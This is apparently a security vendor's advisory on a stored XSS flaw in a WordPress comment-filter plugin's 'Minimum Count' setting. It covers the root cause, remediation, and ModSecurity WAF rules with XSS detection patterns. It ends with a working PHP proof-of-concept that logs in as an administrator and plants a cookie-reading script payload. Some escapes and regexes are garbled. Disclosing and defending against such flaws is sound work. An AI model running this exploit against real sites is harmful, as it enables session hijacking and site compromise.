Atomic Edge analysis of CVE-2026-3362 (metadata-based):
This is a Stored Cross-Site Scripting (XSS) vulnerability in the Short Comment Filter plugin for WordPress, affecting versions up to and including 2.2. The vulnerability exists in the plugin’s settings page, specifically the ‘Minimum Count’ field. An authenticated attacker with Administrator privileges can inject arbitrary JavaScript that executes when other administrators access the settings page. The CVSS score is 4.4 (Medium).
Root Cause: The CWE-79 classification and description indicate two missing security controls. First, the plugin’s `register_setting()` call lacks a sanitize callback, meaning raw user input flows directly into the WordPress options table via `update_option()`. Second, when the plugin renders the setting’s value inside an HTML input’s `value` attribute, it fails to call `esc_attr()`. Without escaping, a stored value containing a double quote can break out of the attribute context and inject arbitrary HTML attributes or script tags. Atomic Edge analysis infers these code patterns from the CWE and description; the exact plugin source code is not available for confirmation.
Exploitation: An attacker with Administrator access navigates to the WordPress admin dashboard and opens the Short Comment Filter settings page (typically at `/wp-admin/options-general.php?page=short-comment-filter` or a similar menu slug). They enter a payload like `”>alert(document.cookie)<input value="` into the 'Minimum Count' field and save the settings. The plugin stores this malformed value via `update_option()`. When any administrator later views the settings page, the payload executes in their browser because the plugin echoes the option value unescaped into the `value` attribute of an “ tag. The attack requires no nonce bypass since WordPress settings forms use standard nonces that administrators can obtain legitimately.
Remediation: The developer should add a sanitize callback to the `register_setting()` call. For the ‘Minimum Count’ field, `intval()` or `absint()` is appropriate since it expects a numeric value. Additionally, the plugin must use `esc_attr()` when outputting the option value inside HTML attributes. Since no patched version exists, site administrators should either remove the plugin or implement a WAF rule to block payloads containing HTML/JavaScript in the relevant field.
Impact: Successful exploitation allows an Administrator to execute arbitrary JavaScript in the browser of any other Administrator who views the plugin’s settings page. This leads to session hijacking, credential theft, forced administrative actions (creating new admin users, modifying site content), and full site compromise. In WordPress multisite environments or when `DISALLOW_UNFILTERED_HTML` is enabled, even super administrators may lack the `unfiltered_html` capability, but the attacker already holds Administrator privileges. The injected script can also be used to perform privileged actions on behalf of the victim administrator without their knowledge.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3362 (metadata-based)
# Block exploitation of Stored XSS via the 'Minimum Count' setting in Short Comment Filter plugin
# This rule blocks malicious payloads being submitted to the options.php endpoint for the vulnerable option
SecRule REQUEST_URI "@streq /wp-admin/options.php"
"id:20263362,phase:2,deny,status:403,chain,msg:'CVE-2026-3362 Short Comment Filter XSS via Minimum Count',severity:'CRITICAL',tag:'CVE-2026-3362',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:option_page "@streq short_comment_filter_options" "chain"
SecRule ARGS_POST:short_comment_filter_minimum_count "@rx <script|onw+s*=|(|)|&#"
"t:none"
# Alternative rule: block requests to the plugin's settings page URL with suspicious payloads in the query (defense in depth)
SecRule REQUEST_URI "@rx /wp-admin/options-general.php?page=short-comment-filter$"
"id:20263363,phase:1,deny,status:403,chain,msg:'CVE-2026-3362 Short Comment Filter XSS via Minimum Count (settings page access)',severity:'CRITICAL',tag:'CVE-2026-3362',tag:'wordpress',tag:'xss'"
SecRule ARGS_GET:short_comment_filter_minimum_count "@rx <script|onw+s*=|(|)|&#"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3362 - Short Comment Filter <= 2.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Minimum Count' Setting
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password
// Payload that breaks out of the input value attribute to inject a script
$payload = '"><script>alert(document.cookie)</script><input value="';
// --- Step 1: Authenticate and get admin cookies ---
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'rememberme' => 'forever',
'redirect_to' => $target_url . '/wp-admin/'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-3362-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// --- Step 2: Fetch the settings page to obtain the _wpnonce for the option ---
$settings_page_url = $target_url . '/wp-admin/options-general.php?page=short-comment-filter';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-3362-cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$page_content = curl_exec($ch);
curl_close($ch);
// Extract the nonce for the 'short_comment_filter_options' option group
// WordPress settings pages use a nonce field named '_wpnonce' with value generated by wp_nonce_field('short_comment_filter_options-options')
preg_match('/<input[^>]+id="_wpnonce"[^>]+value="([^"]+)"[^>]*/>/', $page_content, $matches);
if (!isset($matches[1])) {
// Fallback: try to find any hidden input with _wpnonce name
preg_match('/<input[^>]+name="_wpnonce"[^>]+value="([^"]+)"[^>]*/>/', $page_content, $matches);
}
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
die("[-] Could not extract nonce. The settings page URL might be different.n");
}
echo "[+] Extracted nonce: $noncen";
// --- Step 3: Submit the malicious option value ---
$update_url = $target_url . '/wp-admin/options.php'; // WordPress processes settings updates via options.php
$post_data = array(
'option_page' => 'short_comment_filter_options',
'action' => 'update',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/options-general.php?page=short-comment-filter',
'short_comment_filter_minimum_count' => $payload // This is the vulnerable 'Minimum Count' field
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-3362-cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 302 || $http_code == 200) {
echo "[+] Payload submitted successfully. The XSS will trigger when any admin visits the Short Comment Filter settings page.n";
echo "[+] Payload used: $payloadn";
} else {
echo "[-] Failed to submit payload. HTTP code: $http_coden";
echo "[-] Response headers: $responsen";
}
// Clean up cookie file
unlink('/tmp/cve-2026-3362-cookies.txt');
?>